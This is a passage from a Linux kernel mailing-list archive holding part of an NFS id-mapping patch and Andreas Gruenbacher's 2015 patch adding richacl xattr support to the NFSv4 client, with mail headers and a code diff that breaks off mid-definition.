printk(KERN_NOTICE "NFS: Falling back from nfsidmap " + "xuid/xgid to uid/gid\n"); + set_bit(NFS_CS_NOXUID, &client->cl_flags); + } + } + if (ret == 0 || ret == -ENOENT) { *gid = make_kgid(&init_user_ns, id); if (!gid_valid(*gid)) ret = -ERANGE; diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index eefed15..adeb894 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -3875,7 +3875,8 @@ static int decode_attr_owner(struct xdr_stream *xdr, uint32_t *bitmap, ret = NFS_ATTR_FATTR_OWNER_NAME; } } else if (len < XDR_MAX_NETOBJ) { - if (nfs_map_name_to_uid(server, (char *)p, len, uid) == 0) + ret = nfs_map_name_to_uid(server, (char *)p, len, uid); + if (ret == 0 || ret == -ENOENT) ret = NFS_ATTR_FATTR_OWNER; else dprintk("%s: nfs_map_name_to_uid failed!\n", @@ -3918,7 +3919,8 @@ static int decode_attr_group(struct xdr_stream *xdr, uint32_t *bitmap, ret = NFS_ATTR_FATTR_GROUP_NAME; } } else if (len < XDR_MAX_NETOBJ) { - if (nfs_map_group_to_gid(server, (char *)p, len, gid) == 0) + ret = nfs_map_group_to_gid(server, (char *)p, len, gid); + if (ret == 0 || ret == -ENOENT) ret = NFS_ATTR_FATTR_GROUP; else dprintk("%s: nfs_map_group_to_gid failed!\n", diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h index 570a7df..c7d42b7 100644 --- a/include/linux/nfs_fs_sb.h +++ b/include/linux/nfs_fs_sb.h @@ -36,6 +36,7 @@ struct nfs_client { #define NFS_CS_RENEWD 3 /* - renewd started */ #define NFS_CS_STOP_RENEW 4 /* no more state to renew */ #define NFS_CS_CHECK_LEASE_TIME 5 /* need to check lease time */ +#define NFS_CS_NOXUID 6 /* don't use idmap xuid / xgid */ unsigned long cl_flags; /* behavior switches */ #define NFS_CS_NORESVPORT 0 /* - use ephemeral src port */ #define NFS_CS_DISCRTRY 1 /* - disconnect on RPC retry */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5AD1329E27 for ; Fri, 23 Oct 2015 13:47:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44003304039 for ; Fri, 23 Oct 2015 11:47:40 -0700 (PDT) X-ASG-Debug-ID: 1445626055-04cb6c7b853e150001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id agUijXpH7Fsf03Cd (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:36 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id B1009A58B3; Fri, 23 Oct 2015 18:47:35 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fH026588; Fri, 23 Oct 2015 14:47:29 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 48/49] nfs: Add richacl support Date: Fri, 23 Oct 2015 20:42:01 +0200 X-ASG-Orig-Subj: [PATCH v12 48/49] nfs: Add richacl support Message-Id: <1445625722-13791-49-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626056 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add support for the "system.richacl" xattr in nfs. The existing "system.nfs4_acl" xattr on nfs doesn't map user and group names to uids and gids; the "system.richacl" xattr does, and only keeps the on-the-wire names when there is no mapping. This allows to copy permissions across different file systems. Signed-off-by: Andreas Gruenbacher --- fs/nfs/inode.c | 3 - fs/nfs/nfs4proc.c | 731 ++++++++++++++++++++++++++++++++++------------ fs/nfs/nfs4xdr.c | 178 +++++++++-- fs/nfs/super.c | 4 +- include/linux/nfs_fs.h | 1 - include/linux/nfs_fs_sb.h | 2 + include/linux/nfs_xdr.h | 9 +- 7 files changed, 701 insertions(+), 227 deletions(-) diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 326d9e1..843d15d 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -1852,9 +1852,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) return NULL; nfsi->flags = 0UL; nfsi->cache_validity = 0UL; -#if IS_ENABLED(CONFIG_NFS_V4) - nfsi->nfs4_acl = NULL; -#endif /* CONFIG_NFS_V4 */ return &nfsi->vfs_inode; } EXPORT_SYMBOL_GPL(nfs_alloc_inode); diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index eec5c4c..7bb2dea 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -55,6 +55,9 @@ #include #include #include +#include +#include +#include #include "nfs4_fs.h" #include "delegation.h" @@ -2982,15 +2985,18 @@ static int _nfs4_server_capabilities(struct nfs_server *server, struct nfs_fh *f res.attr_bitmask[2] &= FATTR4_WORD2_NFS42_MASK; } memcpy(server->attr_bitmask, res.attr_bitmask, sizeof(server->attr_bitmask)); - server->caps &= ~(NFS_CAP_ACLS|NFS_CAP_HARDLINKS| - NFS_CAP_SYMLINKS|NFS_CAP_FILEID| + server->caps &= ~(NFS_CAP_ALLOW_ACLS|NFS_CAP_DENY_ACLS| + NFS_CAP_HARDLINKS|NFS_CAP_SYMLINKS|NFS_CAP_FILEID| NFS_CAP_MODE|NFS_CAP_NLINK|NFS_CAP_OWNER| NFS_CAP_OWNER_GROUP|NFS_CAP_ATIME| NFS_CAP_CTIME|NFS_CAP_MTIME| NFS_CAP_SECURITY_LABEL); - if (res.attr_bitmask[0] & FATTR4_WORD0_ACL && - res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) - server->caps |= NFS_CAP_ACLS; + if (res.attr_bitmask[0] & FATTR4_WORD0_ACL) { + if (res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) + server->caps |= NFS_CAP_ALLOW_ACLS; + if (res.acl_bitmask & ACL4_SUPPORT_DENY_ACL) + server->caps |= NFS_CAP_DENY_ACLS; + } if (res.has_links != 0) server->caps |= NFS_CAP_HARDLINKS; if (res.has_symlinks != 0) @@ -4518,45 +4524,11 @@ static int nfs4_proc_renew(struct nfs_client *clp, struct rpc_cred *cred) return 0; } -static inline int nfs4_server_supports_acls(struct nfs_server *server) -{ - return server->caps & NFS_CAP_ACLS; -} - -/* Assuming that XATTR_SIZE_MAX is a multiple of PAGE_SIZE, and that - * it's OK to put sizeof(void) * (XATTR_SIZE_MAX/PAGE_SIZE) bytes on - * the stack. +/* A arbitrary limit; we allocate at most DIV_ROUND_UP(NFS4ACL_SIZE_MAX, + * PAGE_SIZE) pages and put an array of DIV_ROUND_UP(NFS4ACL_SIZE_MAX, + * PAGE_SIZE) pages on the stack when encoding or decoding acls. */ -#define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) - -static int buf_to_pages_noslab(const void *buf, size_t buflen, - struct page **pages) -{ - struct page *newpage, **spages; - int rc = 0; - size_t len; - spages = pages; - - do { - len = min_t(size_t, PAGE_SIZE, buflen); - newpage = alloc_page(GFP_KERNEL); - - if (newpage == NULL) - goto unwind; - memcpy(page_address(newpage), buf, len); - buf += len; - buflen -= len; - *pages++ = newpage; - rc++; - } while (buflen != 0); - - return rc; - -unwind: - for(; rc > 0; rc--) - __free_page(spages[rc-1]); - return -ENOMEM; -} +#define NFS4ACL_SIZE_MAX 65536 struct nfs4_cached_acl { int cached; @@ -4564,66 +4536,9 @@ struct nfs4_cached_acl { char data[0]; }; -static void nfs4_set_cached_acl(struct inode *inode, struct nfs4_cached_acl *acl) -{ - struct nfs_inode *nfsi = NFS_I(inode); - - spin_lock(&inode->i_lock); - kfree(nfsi->nfs4_acl); - nfsi->nfs4_acl = acl; - spin_unlock(&inode->i_lock); -} - static void nfs4_zap_acl_attr(struct inode *inode) { - nfs4_set_cached_acl(inode, NULL); -} - -static inline ssize_t nfs4_read_cached_acl(struct inode *inode, char *buf, size_t buflen) -{ - struct nfs_inode *nfsi = NFS_I(inode); - struct nfs4_cached_acl *acl; - int ret = -ENOENT; - - spin_lock(&inode->i_lock); - acl = nfsi->nfs4_acl; - if (acl == NULL) - goto out; - if (buf == NULL) /* user is just asking for length */ - goto out_len; - if (acl->cached == 0) - goto out; - ret = -ERANGE; /* see getxattr(2) man page */ - if (acl->len > buflen) - goto out; - memcpy(buf, acl->data, acl->len); -out_len: - ret = acl->len; -out: - spin_unlock(&inode->i_lock); - return ret; -} - -static void nfs4_write_cached_acl(struct inode *inode, struct page **pages, size_t pgbase, size_t acl_len) -{ - struct nfs4_cached_acl *acl; - size_t buflen = sizeof(*acl) + acl_len; - - if (buflen <= PAGE_SIZE) { - acl = kmalloc(buflen, GFP_KERNEL); - if (acl == NULL) - goto out; - acl->cached = 1; - _copy_from_pages(acl->data, pages, pgbase, acl_len); - } else { - acl = kmalloc(sizeof(*acl), GFP_KERNEL); - if (acl == NULL) - goto out; - acl->cached = 0; - } - acl->len = acl_len; -out: - nfs4_set_cached_acl(inode, acl); + forget_cached_richacl(inode); } /* @@ -4636,121 +4551,269 @@ out: * length. The next getxattr call will then produce another round trip to * the server, this time with the input buf of the required size. */ -static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) +static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) { - struct page *pages[NFS4ACL_MAXPAGES] = {NULL, }; + struct nfs_server *server = NFS_SERVER(inode); + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; struct nfs_getaclargs args = { .fh = NFS_FH(inode), .acl_pages = pages, - .acl_len = buflen, + .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, }; struct nfs_getaclres res = { - .acl_len = buflen, + .server = server, }; struct rpc_message msg = { .rpc_proc = &nfs4_procedures[NFSPROC4_CLNT_GETACL], .rpc_argp = &args, .rpc_resp = &res, }; - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); - int ret = -ENOMEM, i; - - /* As long as we're doing a round trip to the server anyway, - * let's be prepared for a page of acl data. */ - if (npages == 0) - npages = 1; - if (npages > ARRAY_SIZE(pages)) - return -ERANGE; + int err, i; - for (i = 0; i < npages; i++) { - pages[i] = alloc_page(GFP_KERNEL); - if (!pages[i]) + if (ARRAY_SIZE(pages) > 1) { + /* for decoding across pages */ + res.acl_scratch = alloc_page(GFP_KERNEL); + err = -ENOMEM; + if (!res.acl_scratch) goto out_free; } - /* for decoding across pages */ - res.acl_scratch = alloc_page(GFP_KERNEL); - if (!res.acl_scratch) - goto out_free; - - args.acl_len = npages * PAGE_SIZE; - - dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", - __func__, buf, buflen, npages, args.acl_len); - ret = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), + dprintk("%s args.acl_len %zu\n", + __func__, args.acl_len); + err = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), &msg, &args.seq_args, &res.seq_res, 0); - if (ret) + if (err) goto out_free; - /* Handle the case where the passed-in buffer is too short */ - if (res.acl_flags & NFS4_ACL_TRUNC) { - /* Did the user only issue a request for the acl length? */ - if (buf == NULL) - goto out_ok; - ret = -ERANGE; - goto out_free; - } - nfs4_write_cached_acl(inode, pages, res.acl_data_offset, res.acl_len); - if (buf) { - if (res.acl_len > buflen) { - ret = -ERANGE; - goto out_free; - } - _copy_from_pages(buf, pages, res.acl_data_offset, res.acl_len); - } -out_ok: - ret = res.acl_len; + richacl_compute_max_masks(res.acl); + /* FIXME: Set inode->i_mode from res->mode? */ + set_cached_richacl(inode, res.acl); + err = 0; + out_free: - for (i = 0; i < npages; i++) - if (pages[i]) - __free_page(pages[i]); + if (err) { + richacl_put(res.acl); + res.acl = ERR_PTR(err); + } + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + __free_page(pages[i]); if (res.acl_scratch) __free_page(res.acl_scratch); - return ret; + return res.acl; } -static ssize_t nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) +static struct richacl *nfs4_get_acl_uncached(struct inode *inode) { struct nfs4_exception exception = { }; - ssize_t ret; + struct richacl *acl; do { - ret = __nfs4_get_acl_uncached(inode, buf, buflen); - trace_nfs4_get_acl(inode, ret); - if (ret >= 0) + acl = __nfs4_get_acl_uncached(inode); + trace_nfs4_get_acl(inode, IS_ERR(acl) ? PTR_ERR(acl) : 0); + if (!IS_ERR(acl)) break; - ret = nfs4_handle_exception(NFS_SERVER(inode), ret, &exception); + acl = ERR_PTR(nfs4_handle_exception(NFS_SERVER(inode), + PTR_ERR(acl), &exception)); } while (exception.retry); - return ret; + return acl; } -static ssize_t nfs4_proc_get_acl(struct inode *inode, void *buf, size_t buflen) +static struct richacl *nfs4_proc_get_acl(struct inode *inode) { struct nfs_server *server = NFS_SERVER(inode); + struct richacl *acl; int ret; - if (!nfs4_server_supports_acls(server)) - return -EOPNOTSUPP; + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return ERR_PTR(-EOPNOTSUPP); ret = nfs_revalidate_inode(server, inode); if (ret < 0) - return ret; + return ERR_PTR(ret); if (NFS_I(inode)->cache_validity & NFS_INO_INVALID_ACL) nfs_zap_acl_cache(inode); - ret = nfs4_read_cached_acl(inode, buf, buflen); - if (ret != -ENOENT) - /* -ENOENT is returned if there is no ACL or if there is an ACL - * but no cached acl data, just the acl length */ - return ret; - return nfs4_get_acl_uncached(inode, buf, buflen); + acl = get_cached_richacl(inode); + if (acl != ACL_NOT_CACHED) + return acl; + return nfs4_get_acl_uncached(inode); +} + +static int +richacl_supported(struct nfs_server *server, struct richacl *acl) +{ + struct richace *ace; + + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return -EOPNOTSUPP; + + richacl_for_each_entry(ace, acl) { + if (richace_is_allow(ace)) { + if (!(server->caps & NFS_CAP_ALLOW_ACLS)) + return -EINVAL; + } else if (richace_is_deny(ace)) { + if (!(server->caps & NFS_CAP_DENY_ACLS)) + return -EINVAL; + } else + return -EINVAL; + } + return 0; +} + +static int +nfs4_encode_user(struct xdr_stream *xdr, const struct nfs_server *server, + kuid_t uid) +{ + char name[IDMAP_NAMESZ]; + int len; + __be32 *p; + + len = nfs_map_uid_to_name(server, uid, name, IDMAP_NAMESZ); + if (len < 0) { + dprintk("nfs: couldn't resolve uid %d to string\n", + from_kuid(&init_user_ns, uid)); + return -ENOENT; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + p = xdr_encode_opaque(p, name, len); + return 0; +} + +static int +nfs4_encode_group(struct xdr_stream *xdr, const struct nfs_server *server, + kgid_t gid) +{ + char name[IDMAP_NAMESZ]; + int len; + __be32 *p; + + len = nfs_map_gid_to_group(server, gid, name, IDMAP_NAMESZ); + if (len < 0) { + dprintk("nfs: couldn't resolve gid %d to string\n", + from_kgid(&init_user_ns, gid)); + return -ENOENT; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + p = xdr_encode_opaque(p, name, len); + return 0; +} + +static unsigned int +nfs4_ace_mask(int minorversion) +{ + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; +} + +static int +nfs4_encode_ace_who(struct xdr_stream *xdr, const struct nfs_server *server, + struct richace *ace, struct richacl *acl) +{ + const char *who; + __be32 *p; + + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + unsigned int special_id = ace->e_id.special; + const char *who; + unsigned int len; + + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { + WARN_ON_ONCE(1); + return -EIO; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + xdr_encode_opaque(p, who, len); + return 0; + } else { + who = richace_unmapped_identifier(ace, acl); + if (who) { + unsigned int len = strlen(who); + + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + xdr_encode_opaque(p, who, len); + return 0; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfs4_encode_group(xdr, server, ace->e_id.gid); + else + return nfs4_encode_user(xdr, server, ace->e_id.uid); + } +} + +static int +nfs4_encode_acl(struct page **pages, unsigned int len, struct richacl *acl, + const struct nfs_server *server) +{ + int minorversion = server->nfs_client->cl_minorversion; + unsigned int ace_mask = nfs4_ace_mask(minorversion); + struct xdr_stream xdr; + struct xdr_buf buf; + __be32 *p; + struct richace *ace; + + /* Reject acls not understood by the server */ + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + BUILD_BUG_ON(NFS4_ACE_MASK_ALL != RICHACE_VALID_MASK); + } else { + if (acl->a_flags) + return -EINVAL; + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_INHERITED_ACE) + return -EINVAL; + } + } + richacl_for_each_entry(ace, acl) { + if (ace->e_mask & ~ace_mask) + return -EINVAL; + } + + xdr_init_encode_pages(&xdr, &buf, pages, len); + + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + p = xdr_reserve_space(&xdr, 4); + if (!p) + goto fail; + *p = cpu_to_be32(acl ? acl->a_flags : 0); + } + + p = xdr_reserve_space(&xdr, 4); + if (!p) + goto fail; + if (!acl) { + *p++ = cpu_to_be32(0); + return buf.len; + } + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + p = xdr_reserve_space(&xdr, 4*3); + if (!p) + goto fail; + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)); + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); + if (nfs4_encode_ace_who(&xdr, server, ace, acl) != 0) + goto fail; + } + + return buf.len; + +fail: + return -ENOMEM; } -static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) +static int __nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) { struct nfs_server *server = NFS_SERVER(inode); - struct page *pages[NFS4ACL_MAXPAGES]; + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE) + 1 /* scratch */] = {}; struct nfs_setaclargs arg = { + .server = server, .fh = NFS_FH(inode), .acl_pages = pages, - .acl_len = buflen, }; struct nfs_setaclres res; struct rpc_message msg = { @@ -4758,16 +4821,20 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl .rpc_argp = &arg, .rpc_resp = &res, }; - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); int ret, i; - if (!nfs4_server_supports_acls(server)) - return -EOPNOTSUPP; - if (npages > ARRAY_SIZE(pages)) - return -ERANGE; - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); - if (i < 0) - return i; + ret = richacl_supported(server, acl); + if (ret) + return ret; + + ret = nfs4_encode_acl(pages, NFS4ACL_SIZE_MAX, acl, server); + if (ret < 0) { + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + put_page(pages[i]); + return ret; + } + arg.acl_len = ret; + nfs4_inode_return_delegation(inode); ret = nfs4_call_sync(server->client, server, &msg, &arg.seq_args, &res.seq_res, 1); @@ -4775,8 +4842,8 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl * Free each page after tx, so the only ref left is * held by the network stack */ - for (; i > 0; i--) - put_page(pages[i-1]); + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + put_page(pages[i]); /* * Acl update can result in inode attribute update. @@ -4790,12 +4857,12 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl return ret; } -static int nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) +static int nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) { struct nfs4_exception exception = { }; int err; do { - err = __nfs4_proc_set_acl(inode, buf, buflen); + err = __nfs4_proc_set_acl(inode, acl); trace_nfs4_set_acl(inode, err); err = nfs4_handle_exception(NFS_SERVER(inode), err, &exception); @@ -6257,34 +6324,316 @@ nfs4_release_lockowner(struct nfs_server *server, struct nfs4_lock_state *lsp) rpc_call_async(server->client, &msg, 0, &nfs4_release_lockowner_ops, data); } +static int nfs4_xattr_set_richacl(struct dentry *dentry, const char *key, + const void *buf, size_t buflen, + int flags, int handler_flags) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (strcmp(key, "") != 0) + return -EINVAL; + + if (buf) { + acl = richacl_from_xattr(&init_user_ns, buf, buflen); + if (IS_ERR(acl)) + return PTR_ERR(acl); + error = richacl_apply_masks(&acl, inode->i_uid); + } else { + /* + * "Remove the acl"; only permissions granted by the mode + * remain. We are using the cached mode here which could be + * outdated; should we do a GETATTR first to narrow down the + * race window? + */ + acl = richacl_from_mode(inode->i_mode); + error = 0; + } + + if (!error) + error = nfs4_proc_set_acl(inode, acl); + richacl_put(acl); + return error; +} + +static int nfs4_xattr_get_richacl(struct dentry *dentry, const char *key, + void *buf, size_t buflen, int handler_flags) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + umode_t mode = inode->i_mode & S_IFMT; + + if (strcmp(key, "") != 0) + return -EINVAL; + + acl = nfs4_proc_get_acl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = -ENODATA; + if (richacl_equiv_mode(acl, &mode) == 0 && + ((mode ^ inode->i_mode) & S_IRWXUGO) == 0) + goto out; + error = richacl_to_xattr(&init_user_ns, acl, buf, buflen); +out: + richacl_put(acl); + return error; +} + +static size_t nfs4_xattr_list_richacl(struct dentry *dentry, char *list, + size_t list_len, const char *name, + size_t name_len, int handler_flags) +{ + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); + size_t len = sizeof(XATTR_NAME_RICHACL); + + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return 0; + + if (list && len <= list_len) + memcpy(list, XATTR_NAME_RICHACL, len); + return len; +} + #define XATTR_NAME_NFSV4_ACL "system.nfs4_acl" +static __be32 *richacl_put_nfs4_ace(__be32 *p, const struct richace *ace) +{ + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_INHERITED_ACE | + RICHACE_UNMAPPED_WHO | + RICHACE_SPECIAL_WHO)); + *p++ = cpu_to_be32(ace->e_mask); + + return p; +} + +static __be32 *richacl_put_name(__be32 *p, const char *who, int who_len) +{ + unsigned int padding = -who_len & 3; + + *p++ = cpu_to_be32(who_len); + memcpy(p, who, who_len); + memset((char *)p + who_len, 0, padding); + p += DIV_ROUND_UP(who_len, 4); + + return p; +} + +static int richacl_to_nfs4_acl(struct nfs_server *server, + const struct richacl *acl, + void *buf, size_t buflen) +{ + const struct richace *ace; + __be32 *p = buf; + size_t size = 0; + + size += 4; + if (buflen >= size) + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + char who_buf[IDMAP_NAMESZ]; + const char *who = who_buf; + int who_len; + + size += 3 * 4; + if (buflen >= size) + p = richacl_put_nfs4_ace(p, ace); + + if (richace_is_unix_user(ace)) { + who_len = nfs_map_uid_to_name(server, ace->e_id.uid, + who_buf, sizeof(who_buf)); + if (who_len < 0) + return -EIO; + } else if (richace_is_unix_group(ace)) { + who_len = nfs_map_gid_to_group(server, ace->e_id.gid, + who_buf, sizeof(who_buf)); + if (who_len < 0) + return -EIO; + } else if (ace->e_flags & RICHACE_SPECIAL_WHO) { + if (!nfs4acl_special_id_to_who(ace->e_id.special, + &who, &who_len)) + return -EIO; + } else { + who = richace_unmapped_identifier(ace, acl); + if (who) + who_len = strlen(who); + else + return -EIO; + } + + size += 4 + ALIGN(who_len, 4); + if (buflen >= size) + p = richacl_put_name(p, who, who_len); + } + if (buflen && buflen < size) + return -ERANGE; + return size; +} + +static int richace_get_nfs4_ace(struct richace *ace, const __be32 **pp, + size_t *buflen) +{ + const __be32 *p = *pp; + + if (*buflen < 3 * 4) + return -EINVAL; + ace->e_type = be32_to_cpu(*p++); + ace->e_flags = be32_to_cpu(*p++); + if (ace->e_flags & (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) + return -EINVAL; + ace->e_mask = be32_to_cpu(*p++); + *pp = p; + *buflen -= 3 * 4; + + return 0; +} + +static ssize_t richace_get_who(struct nfs_server *server, struct richacl *acl, + struct richace *ace, const __be32 **pp, + size_t *buflen) +{ + const __be32 *p = *pp; + u32 who_len, size; + int err, special_id; + char *who; + + if (*buflen < 4) + return -EINVAL; + who_len = be32_to_cpu(*p++); + *buflen -= 4; + size = ALIGN(who_len, 4); + if (*buflen < size || size == 0) + return -EINVAL; + who = (char *)p; + special_id = nfs4acl_who_to_special_id(who, who_len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_id.special = special_id; + goto out; + } + + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + err = nfs_map_group_to_gid(server, who, who_len, + &ace->e_id.gid); + if (err && err != -ENOENT) { + dprintk("%s: nfs_map_group_to_gid " + "failed!\n", __func__); + return err; + } + } else { + err = nfs_map_name_to_uid(server, who, who_len, + &ace->e_id.uid); + if (err && err != -ENOENT) { + dprintk("%s: nfs_map_name_to_gid " + "failed!\n", __func__); + return err; + } + } + + if (err == -ENOENT) { + err = -ENOMEM; + if (richacl_add_unmapped_identifier(&acl, &ace, + who, who_len, GFP_NOFS)) + return err; + } + +out: + *pp = p + size / 4; + *buflen -= size; + return 0; +} + +static struct richacl *richacl_from_nfs4_acl(struct nfs_server *server, + const void *buf, size_t buflen) +{ + struct richacl *acl = NULL; + struct richace *ace; + const __be32 *p = buf; + int count, err; + + if (buflen < 4) + return ERR_PTR(-EINVAL); + count = be32_to_cpu(*p++); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EINVAL); + buflen -= 4; + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + richacl_for_each_entry(ace, acl) { + err = richace_get_nfs4_ace(ace, &p, &buflen); + if (err) + goto out; + err = richace_get_who(server, acl, ace, &p, &buflen); + if (err) + goto out; + + } + err = -EINVAL; + if (buflen != 0) + goto out; + err = 0; + +out: + if (err) { + richacl_put(acl); + acl = ERR_PTR(err); + } + return acl; +} + static int nfs4_xattr_set_nfs4_acl(struct dentry *dentry, const char *key, const void *buf, size_t buflen, int flags, int type) { - if (strcmp(key, "") != 0) + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (!buf || strcmp(key, "") != 0) return -EINVAL; - return nfs4_proc_set_acl(d_inode(dentry), buf, buflen); + acl = richacl_from_nfs4_acl(NFS_SERVER(inode), (void *)buf, buflen); + if (IS_ERR(acl)) + return PTR_ERR(acl); + error = nfs4_proc_set_acl(inode, acl); + richacl_put(acl); + return error; } static int nfs4_xattr_get_nfs4_acl(struct dentry *dentry, const char *key, void *buf, size_t buflen, int type) { + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + if (strcmp(key, "") != 0) return -EINVAL; - - return nfs4_proc_get_acl(d_inode(dentry), buf, buflen); + acl = nfs4_proc_get_acl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = richacl_to_nfs4_acl(NFS_SERVER(inode), acl, buf, buflen); + richacl_put(acl); + return error; } static size_t nfs4_xattr_list_nfs4_acl(struct dentry *dentry, char *list, size_t list_len, const char *name, size_t name_len, int type) { + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); size_t len = sizeof(XATTR_NAME_NFSV4_ACL); - if (!nfs4_server_supports_acls(NFS_SERVER(d_inode(dentry)))) + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) return 0; if (list && len <= list_len) @@ -8837,6 +9186,13 @@ const struct nfs_rpc_ops nfs_v4_clientops = { .clone_server = nfs_clone_server, }; +static const struct xattr_handler nfs4_xattr_richacl_handler = { + .prefix = XATTR_NAME_RICHACL, + .list = 